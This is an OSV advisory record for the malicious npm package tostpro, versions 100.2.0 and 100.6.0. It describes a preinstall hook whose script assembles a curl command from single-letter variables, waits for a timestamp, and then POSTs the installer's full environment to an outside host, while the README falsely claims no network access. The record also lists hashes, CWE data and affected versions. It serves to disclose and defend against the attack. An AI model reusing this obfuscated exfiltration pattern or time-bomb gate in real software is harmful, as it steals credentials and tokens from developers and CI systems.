MAL-2026-17564

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Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tostpro/MAL-2026-17564.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-17564
Published
2026-10-05T03:34:20Z
Modified
2026-10-05T04:15:05Z
Summary
Malicious code in tostpro (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183)

The npm package tostpro@100.2.0 ships a preinstall lifecycle hook that invokes test.sh, which runs automatically on npm install. The script assembles the command curl and the data source env from single-letter shell variables (b=e, i=c, s=n, h=u, a=v, l=rl) and splits the destination into dom=https://abbishal. plus tld=com, reconstructing them at runtime as $i$h$l -d "$b$s$a" $dom$tld/sh/poc. Execution is gated by if [ date +%s -gt 1791141300 ] (a Unix timestamp corresponding to roughly 2026-10-04); once that deadline passes, the output of env — the installer's full process environment, which routinely contains CI tokens, cloud credentials, and API keys — is POSTed to https://abbishal.com/sh/poc. The README states "No network access. No data collection," directly contradicting the shipped behavior. The string-splitting obfuscation, time-bomb gate, and cover-story README together indicate deliberate evasion.

Database specific 
{
    "malicious-packages-origins":  [
        {
            "id":  "IN-MAL-2026-021010",
            "import_time":  "2026-10-05T03:57:38.469492404Z",
            "modified_time":  "2026-10-05T03:34:58Z",
            "sha256":  "1c6e05f2f9962c27ba782116a27f8da86a29c6fc7d06c38a6bf79658f25aaaf5",
            "source":  "amazon-inspector",
            "versions":  [
                "100.6.0"
            ]
        },
        {
            "id":  "IN-MAL-2026-021006",
            "import_time":  "2026-10-05T03:57:38.16135054Z",
            "modified_time":  "2026-10-05T03:34:20Z",
            "sha256":  "2b31f6e946441400814984e1285717f9b2ee7fe5dacb7f0433f89396648a6183",
            "source":  "amazon-inspector",
            "versions":  [
                "100.2.0"
            ]
        }
    ]
}
References
Credits

Affected packages

npm / tostpro

Package

Name
tostpro
View open source insights on deps.dev
Purl
pkg:npm/tostpro

Affected ranges

Affected versions

100.*
100.2.0
100.6.0

Database specific

cwes 
[
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    },
    {
        "cweId":  "CWE-506",
        "description":  "The product contains code that appears to be malicious in nature.",
        "name":  "Embedded Malicious Code"
    }
]
indicators 
{
    "evidence_files":  [
        {
            "path":  "test.sh",
            "sha256":  "38cf91c2ae4bff8539681d75e477e3f8f6eb4250219cb526b5ec44211cab09fb",
            "tlsh":  "5b0123b345646374ddf908b31a5d53e6c2b5e05a857358fc62ef510513026e4223bd25"
        },
        {
            "path":  "package.json",
            "sha256":  "bb355185dddb75d04c935ca3aff985b55a1d95e83e3712d4dcc55b1deacb573a",
            "tlsh":  "fce09aa88a219d3300c8e5a20ea6d54ba560ae5b82207d5d366b400c4b5c6a782ff6fd"
        }
    ],
    "package_integrity":  [
        {
            "filename":  "tostpro-100.6.0.tgz",
            "hashes":  {
                "sha1":  "3dcdab6d3874d5549ed897121b63cf7960a264ce",
                "sha512_sri":  "sha512-rqPzmJ3hKkAvUMYl43S+7VC4xWYdpoogKYKetCkDJAoHiKTLrilBMJqvZGQuGKDH3Wyv62KS8FENFP/oADmfbw=="
            }
        }
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/tostpro/MAL-2026-17564.json"